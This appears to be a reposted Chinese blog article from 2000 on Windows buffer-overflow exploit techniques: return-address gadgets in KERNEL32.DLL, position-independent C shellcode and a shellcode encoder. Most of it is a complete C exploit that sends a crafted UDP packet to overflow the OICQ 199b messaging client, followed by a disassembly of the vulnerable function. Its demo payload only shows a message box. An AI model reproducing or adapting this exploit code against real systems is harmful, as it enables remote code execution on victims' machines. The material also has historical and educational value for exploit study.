WINDOWS下的溢出程序编写技巧

WINDOWS下的溢出程序编写技巧

作者:袁哥

mail: yuange@163.net

 

  看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。

 

1、JMP ESP 的问题。

      为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,

别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的

模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本

)。解决了JMP ESP (FF E4)代码找不到问题,增加使用

      PUSH ESP  (54)

      。。。。

      RET       (C3)

      或者

      PUSH ESP  (54)           

      。。。。

      RET 00XX  (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)

      代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。

      比如找到一处代码就可以使用:

         PUSH ESP

         AND  AL,08

         RET  10

     选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。

     因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然

KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP,

但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是

用宏定义。

 

2、解决SHELLCODE的编写问题。

    原来很多程序的SHELLCODE都是用先编写好后用"/XAA/XBB"的形式写出来,一个是不好修改,还有不好看

到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就

是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用

LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里

面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X

下没有统一了。

    程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:

     一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。

     二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP

的代码用NOP填充。

 

3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的

SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。

   

 

/*   oicq 199b build 0220   overflow program

     copy by yuange <yuange@163.net>  2000。04。18

     新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE

*/   

 

#include <windows.h>

#include <winsock.h>

#include <stdio.h>

#define  NUKEWIN2000

//#define  NUKEWIN9X

#ifdef     NUKEWIN2000

#define  RETEIPADDR    eipwin2000

#define  LoadLibraryfnaddress    0x77e78023  //0x77E60000+0x00018023  LoadLibrary

#define  GetProcAddressfnaddress 0x77e7564b  //0X77E60000+0x0001564B  GetProcAddress

#else

   #ifdef   NUKEWIN9X

   #define  RETEIPADDR    eipwin9x

   #define  LoadLibraryfnaddress    0xbff77750  //0xbff70000+0x00007750  LoadLibrary

   #define  GetProcAddressfnaddress 0xbff76e28  //0xbff70000+0x00006e28  GetProcAddress

   #else

   #define  RETEIPADDR    eipwinnt

   #define  LoadLibraryfnaddress    0x77EE391A  //0x77ED0000+0x0001391A  LoadLibrary

   #define  GetProcAddressfnaddress 0x77eE4111  //0x77ED0000+0x00014111  GetProcAddress

   #endif

#endif

#define  NOPCODE    0x90

#define  BUFFSIZE   0x2000

#define  OICQPORT   4000

#define  OICQOVERADD 7+0x41C

#define  OVERADD    OICQOVERADD

#define  STR0 0

#define  STR1 11

#define  STR2 23

#define  STR3 33

#define  STR4 39

#define  STR5 51

 

void     shellcodefnlock();

void     shellcodefn();

void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

 

int main(int argc, char **argv)

{

  char *server;

  char *str="user32.dll""/x0""MessageBoxA""/x0""  secuess""/x0""  OK!""/x0""msvcrtd.dll""/x0""exit""/x0";

  char buff1[]="/x02/x01/x07/x00/x78/x11/x22/x33/x33/x33/x33/x33/x1f/x30/x1f/x37/x35/x1f""2000-4-10""/x1f""12:00:00""/x1f";

  /* oicq udp head */

 

  //0x77ed0000+0x1ddd4   kernel32.dll   //  push esp   //  and al,08   //  ret 0c

  char  eipwinnt[]    ="/xd4/xdd/xee/x77";     //0x77ed0000+0x0001ddd4

 

  char  eipwin2000[]  ="/xea/x17/xe8/x77";     //0x77e60000+0x000217ea

  //  kernel32.dll     //  push esp          //  and al,08          //  ret 0c

 

  //0x77e2e32a user32.dll JMP ESP

  char  eip2win2000[] = "/x2a/xe3/xe2/x77";  //0x77df0000+0x0003e32a

  char  eipwin9x[]    = "/xd9/x6a/xf7/xbf";  //0xbff70000+0x00006ad9

  //  Kernel32.dll     4.10.2184                0xbff70000+0x0006ad9

  // push esp      // and al,0x10;    // ret 0x10;

  

  char    buff[BUFFSIZE];

  char    shellcodebuff[0x1000];

  struct  sockaddr_in s_in2,s_in3;

  struct  hostent *he;

  char    *shellcodefnadd,*chkespadd;

  unsigned  int sendpacketlong;

  unsigned  int i,j,k;

  unsigned  char temp;

  int     fd;

  u_short port,port1;

  SOCKET  d_ip;

  WSADATA wsaData;

  

  int result= WSAStartup(MAKEWORD(1, 1), &wsaData);

  if (result != 0) {

        fprintf(stderr, "Your computer was not connected "

            "to the Internet at the time that "

            "this program was launched, or you "

            "do not have a 32-bit "

            "connection to the Internet.");

        exit(1);

    }

 

  if(argc <2)

  {

       WSACleanup( );    

       fprintf(stderr,"/n nuke oicq ./n copy by yuange 2000.4.1. /n wellcome to my homepage http://yuange.yeah.net .");

       fprintf(stderr, "/n usage: %s <server> [port] /n", argv[0]);

       exit(1);

  }

  else  server = argv[1];

 

  d_ip = inet_addr(server);

  if(d_ip==-1){

     he = gethostbyname(server);

     if(!he)

     {

       WSACleanup( );

       printf("/n Can't get the ip of %s !/n",server);

       exit(1);     

     }

     else    memcpy(&d_ip, he->h_addr, 4);

  }     

  if(argc>2) port = atoi(argv[2]);

  else port=OICQPORT;

  if(port==0) port=OICQPORT;

 

  fd = socket(AF_INET, SOCK_DGRAM,0);

  i=8000;

  setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));

  s_in2.sin_family = AF_INET;

  if(argc>3) port1=atoi(argv[3]);

  else port1=OICQPORT;

  if(port1==0) port1=OICQPORT;

  s_in2.sin_port = htons(port1);

  s_in2.sin_addr.s_addr =0;

         

  s_in3.sin_family = AF_INET;

  s_in3.sin_port = htons(port);

  s_in3.sin_addr.s_addr = d_ip;

  bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));

  printf("/n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

 

  memset(buff,NOPCODE,BUFFSIZE);

  memcpy(buff,buff1,37);

 

  _asm{

         mov ESI,ESP

         cmp ESI,ESP

  }

  _chkesp();

  chkespadd=_chkesp;

  temp=*chkespadd;

  if(temp==0xe9) {

         ++chkespadd;

//         (int *) i=(int*) *chkespadd;

         _asm{

             mov EDI,dword ptr [chkespadd]

             mov EDI,[EDI]

             mov i,EDI

         }

         chkespadd+=i;

         chkespadd+=4;

  }

 

  shellcodefnadd=shellcodefnlock;

  temp=*shellcodefnadd;

  if(temp==0xe9) {

         ++shellcodefnadd;

//         (int *) k=(int *) *shellcodefnadd;

         _asm{

             mov EDI,dword ptr [shellcodefnadd]

             mov EDI,[EDI]

             mov k,EDI

         }

         shellcodefnadd+=k;

         shellcodefnadd+=4;

  }

 

  for(k=0;k<=0x500;++k){

         if(memcmp(shellcodefnadd+k,"/x90/x90/x90/x90",4)==0) break;

  }

  memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);

     

  shellcodefnadd=shellcodefn;

  temp=*shellcodefnadd;

  if(temp==0xe9) {

          ++shellcodefnadd;

//         (int *)k=*shellcodefnadd;

          _asm{

             mov EDI,dword ptr [shellcodefnadd]

             mov EDI,[EDI]

             mov k,EDI

         }

         shellcodefnadd+=k;

         shellcodefnadd+=4;

  }

  

  for(k=0;k<=0x1000;++k){

         if(memcmp(shellcodefnadd+k,"/x90/x90/x90/x90",4)==0) break;

  }

 

  memcpy(shellcodebuff,shellcodefnadd,k);   //j);

  cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);     

 

  

  memcpy(shellcodebuff+k,str,0x80);

  sendpacketlong=k+0x80;

  for(k=0;k<=0x200;++k){

         if(memcmp(buff+OVERADD+0x20+k,"/x90/x90/x90/x90",4)==0) break;

  }

 

  for(i=0;i<sendpacketlong;++i){

         temp=shellcodebuff[i];

         temp&=0xf0;

         temp=temp/0x10;

         temp+=0x41;

         buff[OVERADD+0x20+k]=temp;

         ++k;

         temp=shellcodebuff[i];

         temp&=0x0f;

         temp+=0x41;

         buff[OVERADD+0x20+k]=temp;

         ++k;

  }

  memcpy(buff+OVERADD,RETEIPADDR,4);

  sendpacketlong=OVERADD+0x20+k+0x10;

  for(i=0;i<1;++i){

     j=rand();

     buff1[0x5]=j;

     buff1[0x6]=j+1;

     j=sendpacketlong;

     buff[j-1]=0x03;

     fprintf(stderr,"/n send  packet %d bytes.",j);

     sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));

  }

  closesocket(fd);

  WSACleanup( );

  return(0);

}

  

void  shellcodefnlock()

{

       _asm{

              nop

              nop

              nop

              nop

              jmp   next

getediadd:      pop   EDI

              push  EDI

              pop   ESI

looplock:      lodsw

              sub   AX,0x4141

              shl   AL,4

              xor   AL,AH

              stosb

              cmp   AH,0x10

              jb    looplock

              jmp   shell

next:         call  getediadd

shell:           nop

              nop

              nop

              nop

    }

}

 

void shellcodefn()

{

//      const char str[]="user32.dll""/x0""MessageBoxA""/x0""msvcrtd.dll""/x0""exit";

    FARPROC      procloadlib,procgetadd,procmsg,procexit;

    char      *stradd;

    HANDLE    libhandle;

    procloadlib  =     LoadLibraryfnaddress;

    procgetadd     =     GetProcAddressfnaddress;

         _asm

        {     

                      jmp    nextcall

         getstradd:   pop    stradd

        }

        libhandle=procloadlib(stradd+STR0);

        procmsg=procgetadd(libhandle,stradd+STR1);

        procmsg(0,stradd+STR3,stradd+STR2,0);

//        libhandle=procloadlib(stradd+STR6);

//        opensocketadd=procgetadd(stradd+str7);

        libhandle=procloadlib(stradd+STR4);

        procexit =procgetadd(libhandle,stradd+STR5);

        procexit(0);

        _asm{

        die:         jmp  die              

        nextcall:    call getstradd

                     nop

                     nop

                     nop

                     nop

        }

}

void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)

{

   int i,k;

   unsigned char temp;

   char *calladd;

 

   for(i=0;i<len;++i){

       temp=shellbuff[i];

       if(temp==0xe8){

//         (int *)k=*(shellbuff+i+1);

         k=shellbuff+i+1;

            _asm{

              mov EDI,k

             mov EDI,[EDI]

             mov k,EDI

         }

 

         calladd=fnadd;

         calladd+=k;

         calladd+=i;

         calladd+=5;

         if(calladd==chkesp){

             shellbuff[i]=0x90;

             shellbuff[i+1]=0x43;   // inc ebx

             shellbuff[i+2]=0x4b;    // dec ebx

             shellbuff[i+3]=0x43;

             shellbuff[i+4]=0x4b;

         }

       }

   }

}

 

 

 

/* OICQ有问题代码  

   

:00425D51 837C240800              cmp dword ptr [esp+08], 00000000

:00425D56 740C                    je 00425D64

:00425D58 8B01                    mov eax, dword ptr [ecx]

:00425D5A FF742408                push [esp+08]

:00425D5E FF90B8000000            call dword ptr [eax+000000B8]

 

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00425D56(C)

|

:00425D64 33C0                    xor eax, eax

:00425D66 C20800                  ret 0008

 

 

:00425D69 B8E4774900              mov eax, 004977E4

:00425D6E E80D700300              call 0045CD80

:00425D73 81EC10040000            sub esp, 00000410  

;有溢出 yrg 2000.04.18

;缓冲区大小

 

:00425D79 53                      push ebx

:00425D7A 56                      push esi

:00425D7B 8B7508                  mov esi, dword ptr [ebp+08]

:00425D7E 8D85E4FBFFFF            lea eax, dword ptr [ebp+FFFFFBE4]

:00425D84 57                      push edi

:00425D85 50                      push eax

:00425D86 FF7628                  push [esi+28]

:00425D89 8BD9                    mov ebx, ecx

:00425D8B FF7624                  push [esi+24]

:00425D8E E8C9000000              call 00425E5C

:00425D93 85C0                    test eax, eax

:00425D95 0F84B0000000            je 00425E4B

:00425D9B 8D85E8FBFFFF            lea eax, dword ptr [ebp+FFFFFBE8]

:00425DA1 8D4DF0                  lea ecx, dword ptr [ebp-10]

:00425DA4 50                      push eax

:00425DA5 E8CFF10400              call 00474F79

:00425DAA 8365FC00                and dword ptr [ebp-04], 00000000

:00425DAE 8BBDE6FBFFFF            mov edi, dword ptr [ebp+FFFFFBE6]

:00425DB4 56                      push esi

:00425DB5 8D4D08                  lea ecx, dword ptr [ebp+08]

:00425DB8 E8BCF10400              call 00474F79

:00425DBD 0FB785E4FBFFFF          movzx eax, word ptr [ebp+FFFFFBE4]

:00425DC4 8B7620                  mov esi, dword ptr [esi+20]

:00425DC7 83E878                  sub eax, 00000078

:00425DCA C645FC01                mov [ebp-04], 01

:00425DCE 7434                    je 00425E04

:00425DD0 48                      dec eax

:00425DD1 7560                    jne 00425E33

:00425DD3 51                      push ecx

:00425DD4 8D45F0                  lea eax, dword ptr [ebp-10]

:00425DD7 8BCC                    mov ecx, esp

:00425DD9 8965EC                  mov dword ptr [ebp-14], esp

:00425DDC 50                      push eax

:00425DDD E89EEE0400              call 00474C80

:00425DE2 57                      push edi

:00425DE3 56                      push esi

:00425DE4 51                      push ecx

:00425DE5 8D4508                  lea eax, dword ptr [ebp+08]

:00425DE8 8BCC                    mov ecx, esp

:00425DEA 8965E8                  mov dword ptr [ebp-18], esp

:00425DED 50                      push eax

:00425DEE C645FC03                mov [ebp-04], 03

:00425DF2 E889EE0400              call 00474C80

:00425DF7 8BCB                    mov ecx, ebx

:00425DF9 C645FC01                mov [ebp-04], 01

:00425DFD E8D4030000              call 004261D6

:00425E02 EB2F                    jmp 00425E33

 

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00425DCE(C)

|

:00425E04 51                      push ecx

:00425E05 8D45F0                  lea eax, dword ptr [ebp-10]

:00425E08 8BCC                    mov ecx, esp

:00425E0A 8965E8                  mov dword ptr [ebp-18], esp

:00425E0D 50                      push eax

:00425E0E E86DEE0400              call 00474C80

:00425E13 57                      push edi

:00425E14 56                      push esi

:00425E15 51                      push ecx

:00425E16 8D4508                  lea eax, dword ptr [ebp+08]

:00425E19 8BCC                    mov ecx, esp

:00425E1B 8965EC                  mov dword ptr [ebp-14], esp

:00425E1E 50                      push eax

:00425E1F C645FC02                mov [ebp-04], 02

:00425E23 E858EE0400              call 00474C80

:00425E28 8BCB                    mov ecx, ebx

:00425E2A C645FC01                mov [ebp-04], 01

:00425E2E E860040000              call 00426293

 

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

|:00425DD1(C), :00425E02(U)

|

:00425E33 8065FC00                and byte ptr [ebp-04], 00

:00425E37 8D4D08                  lea ecx, dword ptr [ebp+08]

:00425E3A E8CCF00400              call 00474F0B

:00425E3F 834DFCFF                or dword ptr [ebp-04], FFFFFFFF

:00425E43 8D4DF0                  lea ecx, dword ptr [ebp-10]

:00425E46 E8C0F00400              call 00474F0B

 

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:00425D95(C)

|

:00425E4B 8B4DF4                  mov ecx, dword ptr [ebp-0C]

:00425E4E 5F                      pop edi

:00425E4F 5E                      pop esi

:00425E50 64890D00000000          mov dword ptr fs:[00000000], ecx

:00425E57 5B                      pop ebx

:00425E58 C9                      leave

:00425E59 C20400                  ret 0004

*/

 

  

/*     OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》  

struct TOicqPtoP

{

char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定

char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定

char Tag3; // 0x07

char Tag4; // 0x00

char Tag5; // 0x78

char Tag6; // 这两个字节相当于 unix 上的进程 ID,

char Tag7; // 随便赋值就可。

char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456

char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f

char cR; // '0' 固定

char cFF; //

char cE[]; // "75" ,这一位相对固定,可能是操作方式。

char cFF;

char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f

char OutMsg[]; // 发送的消息内容。

char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。

};

*/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值